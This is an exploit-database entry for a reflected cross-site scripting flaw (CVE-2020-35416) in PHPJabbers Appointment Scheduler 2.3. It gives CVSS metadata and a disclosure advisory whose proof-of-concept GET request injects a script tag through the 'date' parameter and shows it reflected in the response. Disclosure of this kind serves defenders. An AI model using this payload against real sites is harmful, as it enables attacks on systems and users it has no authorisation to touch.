Exploitalert - Database of Exploits

PHPJabbers Appointment Scheduler 2.3 Cross Site Scripting

CVE	Category	Price	Severity
CVE-2020-35416	CWE-79	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-12-15

CPE
cpe:cpe:/a:phpjabbers:appointment_scheduler:2.3

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2020120109

PHPJabbers Appointment Scheduler 2.3 Cross Site Scripting

# Exploit Title: PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting) # Date: 2020-12-14 # Exploit Author: Andrea Intilangelo # Vendor Homepage: https://www.phpjabbers.com # Software Link: https://www.phpjabbers.com/appointment-scheduler # Version: 2.3 # Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 83.0, Microsoft Edge 87.0.664.60) # CVE: CVE-2020-35416 Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of Stivasoft/PHPJabbers Appointment Scheduler v2.3 (and many others, in example from "ilmiogestionale.eu", since some companies/web agencies did a script rebrand/rework) allows remote attacker to inject arbitrary script or HTML. Request parameters affected: "date", "action", arbitrarily supplied URL parameters, possible others. PoC Request: GET /index.php?controller=pjFrontPublic&action=pjActionServices&cid=1&layout=1&date=%3cscript%3ealert(1)%3c%2fscript%3e&theme=theme9 HTTP/1.1 Host: [removed] Connection: close Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 X-Requested-With: XMLHttpRequest Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://[removed] Accept-Encoding: gzip, deflate Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: _ga=GA1.2.505990147.1607596638; _gid=GA1.2.1747301294.1607596638; AppointmentScheduler=5630ae3ab2ed56dbe79c033b84565422 PoC Response: HTTP/1.1 200 OK Server: nginx Date: Thu, 14 Dec 2020 10:48:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Origin, X-Requested-With Content-Length: 13988 <div class="container-fluid"> <div class="row"> <div class="col-lg-4 col-md-4 col-sm-4 col-xs-12"> <div class="panel panel-default pjAsContainer pjAsAside"> <div class="panel-heading p ...[SNIP]... <div class="pj-calendar-ym">Dicembre, <script>alert(1)</script></div> ...[SNIP]... PoC Screenshots: https://imgrz.com/item/naqZ https://imgrz.com/item/ngZ1 or https://imagebin.ca/v/5kkKgOdFS9n5 https://imagebin.ca/v/5kkKlhi4amhj

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